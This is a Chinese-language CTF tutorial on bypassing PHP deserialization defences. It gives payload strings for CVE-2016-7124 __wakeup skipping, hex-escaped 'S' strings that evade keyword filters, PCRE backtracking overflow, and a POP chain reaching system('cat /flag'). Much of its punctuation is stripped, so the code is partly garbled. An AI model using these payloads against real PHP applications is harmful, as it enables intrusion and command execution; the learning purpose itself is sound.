反序列化绕过protected和private绕过如果变量前是protected则是\x00*\x00类名的形式 如果变量前是private则是\x00类名\x00的形式绕过php7.1反序列化对类属性不敏感将protected改成public手动将序列化后的形式改为protected或者private的标准形式结合urlencode和base64编码进行操作常见的“权限校验”题目你需要把 isAdmin 改为 true但它是私有的且 __wakeup 会重置它常见的“权限校验”题目你需要把 isAdmin 改为 true但它是私有的且 __wakeup 会重置它class Challenge { private $isAdmin false; public $name guest; public function __construct($name) { $this-name $name; } public function __wakeup() { // 恶意即使你序列化传了 true这里也会把你改回 false $this-isAdmin false; } public function __destruct() { if ($this-isAdmin true) { echo 恭喜Flag: CTF{Plow_Through_Magic_Methods}; } } } // 题目通常通过 GET 接收数据 // unserialize($_GET[payload]);十六进制表示法当你手动构造 Payload 时如果直接在 URL 里打出不可见字符非常困难。这时候利用 PHP 的 S大写解析模式。普通序列化s:13:\0User\0pass; 这里的小写 s 不解析十六进制绕过 PayloadS:13:\00User\00pass; 改为大写 SPHP 会把 \00 当作一个空字节字符PHP 7.1 权限不敏感特性如果你发现题目环境的 PHP 版本较高7.1 以上你完全可以无视权限。代码里定义private $flag;你的 Payloads:4:flag;s:3:yes;结果即使你按照 public 的格式去传PHP 7.1 依然能成功把值塞进那个 private 变量里。__wakeup绕过CVE-2016-7124PHP 在反序列化时会先解析字符串中的对象属性个数。 如果序列化字符串中表示属性个数的数字比实际属性个数大PHP 就会认为这个对象发生了异常从而跳过 __wakeup() 的执行但对象依然会被成功创建并接着执行 __destruct()该漏洞存在于以下 PHP 版本PHP 5: 5.6.25PHP 7: 7.0.10CVE-2016-7124 它的核心作用是强制让 __wakeup() 魔术方法失效PHP 在反序列化时会先解析字符串中的对象属性个数。如果序列化字符串中表示属性个数的数字比实际属性个数大PHP 就会认为这个对象发生了异常从而跳过 __wakeup() 的执行但对象依然会被成功创建并接着执行 __destruct()class Demo { public $target guest; public function __wakeup() { // 这里的逻辑会阻碍我们拿到 flag $this-target guest; } public function __destruct() { if ($this-target admin) { echo Flag: CTF{Wakeup_Is_Broken}; } } }我们整一个payloadO:4:Demo:1:{s:6:target;s:5:admin;} O:4:Demo: 对象类名长度 4名称 Demo。 1: 代表这个对象有 1 个属性。 构造绕过 Payload 我们将属性个数 1 修改为任何比它大的数字比如 2 O:4:Demo:2:{s:6:target;s:5:admin;} 修改前 unserialize() - 执行 __wakeup()target 变回 guest - 脚本结束 - 执行 __destruct()失败 修改后 unserialize() - 发现属性数量不匹配跳过 __wakeup() - 脚本结束 - 执行 __destruct()此时 target 仍是 admin成功拿到 Flag检查版本如果题目环境 PHP 版本太高比如 PHP 8这个漏洞就无效了。此时需要寻找其他的逻辑漏洞。属性个数只要比原个数大就行通常习惯加 1比如 1 改为 22 改为 3。后续影响因为跳过了 __wakeup如果该方法里有必要的初始化逻辑比如数据库连接可能会导致后面的代码报错但在 CTF 这种通常只看 __destruct 的场景下影响不大利用16进制绕过字符过滤核心原理s vs S在 PHP 序列化的表示中小写 s代表普通的字符串string。大写 S代表“十六进制解析字符串”。当 PHP 遇到大写 S 时它会检查字符串内容如果发现反斜杠开头的内容如 \00 或 \41它会将其当做十六进制进行转换绕过 %00空字节过滤很多题目会检测请求中是否包含 %00 或 \0 来拦截 private / protected 属性。常规 Payloads:13:%00User%00pass会被正则拦截十六进制绕过S:13:\00User\00pass将 s 替换为 S并用 \00 代替空字节注意哪怕你直接在 URL 里发送 \00只要前面是 SPHP 反序列化引擎就会把它识别为一个字节。绕过特定关键词如 flag 如果题目过滤了关键字 flag你可以将 flag 里的字母全部或部分转为十六进制。 过滤逻辑if(preg_match(/flag/i, $data)) die(no flag); 绕过方式 f 的十六进制是 \66 l 的十六进制是 \6c a 的十六进制是 \61 g 的十六进制是 \67 构造 Payload 将 s:4:flag 替换为 S:4:\66\6c\61\67同名方法的利用“同名方法”也叫 POP Chain 节点跳转是构造漏洞链的核心技巧。它的核心逻辑是利用不同类中定义的“名字相同、功能不同”的方法实现代码执行流的跳转核心原理寻找“跳板”假设你的 Payload 中有一个对象 A。当 A 的某个魔术方法如 __destruct被触发时它内部调用了 $this-source-show()。如果我们将 $this-source 替换成另一个类 B 的对象而类 B 恰好也写了一个 show() 方法那么执行流就会从类 A 跳到类 B假设class Starter { public $source; public function __destruct() { // 它本意是想调用某个日志类的 upload 方法 $this-source-upload(); } } class Logger { public function upload() { echo 日志已上传。; } } class Evil { public $cmd; public function upload() { // 这里的 upload 竟然有命令执行逻辑 system($this-cmd); } }$e new Evil(); $e-cmd cat /flag; $s new Starter(); $s-source $e; // 关键对象替换实现方法跳转 echo serialize($s);绕过部分正则绕过数字/大写字母过滤利用 号过滤规则preg_match(/O:\d:/, $data)有些正则会限制类名前的长度或对象个数不能包含某些数字或者禁止某些字符。技巧PHP 的反序列化引擎在解析数字时可以接受 号。示例正常O:4:Demo:1:{...}绕过O:4:Demo:1:{...}用途如果正则规则是 /[0-9]/虽然少见或者针对特定长度的过滤 号有时能改变匹配结果。有绕过关键词过滤利用“指向性转换”过滤规则if(preg_match(/flag|User/i, $data)) die(Hacker!);如果正则过滤了具体的类名如 Challenge但你必须使用这个类姿势 A利用命名空间PHP 对类名的解析比较宽松。如果题目没写 namespace你可以尝试在类名前加反斜杠过滤Challenge绕过\Challenge 或 \.\ChallengePayloadO:10:\Challenge:1:{...}姿势 B利用十六进制如前所述将 s 改为 S然后把关键词中的字母转义。过滤flag绕过S:4:\66\6c\61\67绕过魔术方法过滤PCRE 回溯溢出如果后端使用 preg_match 匹配 __wakeup 或 __destruct 等字样且正则写得比较宽泛可以利用 PHP 正则引擎的回溯限制默认 100 万次原理发送一个极其巨大的字符串填充大量无用字符导致 preg_match 耗尽资源返回 false报错退出从而绕过 if(preg_match(...)) 的判断// 构造一个包含极长无用数据的数组让正则在匹配到一半时因回溯过多而失效 $long_str str_repeat(a, 1000000); $payload a:2:{i:0;s:1000000:.$long_str.;i:1;O:4:Demo:1:{s:4:test;s:5:pwned;}}; // 此时if(!preg_match(/__destruct/, $payload)) { unserialize($payload); } // 正则返回 false因为溢出逻辑反转成功绕过 O: (Object) 过滤过滤规则if(preg_match(/^O:/, $data))如果正则直接禁止了 O: 开头禁止反序列化对象可以利用数组或指针来绕过姿势 A利用数组包裹如果题目直接对输入字符串匹配 /^O:/你可以把对象放在数组里Payloada:1:{i:0;O:4:Demo:1:{...}}此时字符串开头是 a:完美绕过针对 O: 的开头匹配。姿势 B利用 C: (Custom Serialization)如果类实现了 Serializable 接口它序列化后会以 C: 开头。虽然这需要类本身支持但在某些题目中可以寻找实现了该接口的“跳板类”绕过长度限制引用/指针如果正则限制了 Payload 的总长度导致你无法构造复杂的 POP Chain技巧利用 R:指针引用// 假设我们要让对象的两个属性都指向同一个已有的对象 // 正常a:2:{i:0;O:4:Long:0:{}i:1;O:4:Long:0:{}} // 绕过使用 R:2 指向序列化流中的第 2 个元素即前面的对象 a:2:{i:0;O:4:Long:0:{}i:1;R:2;}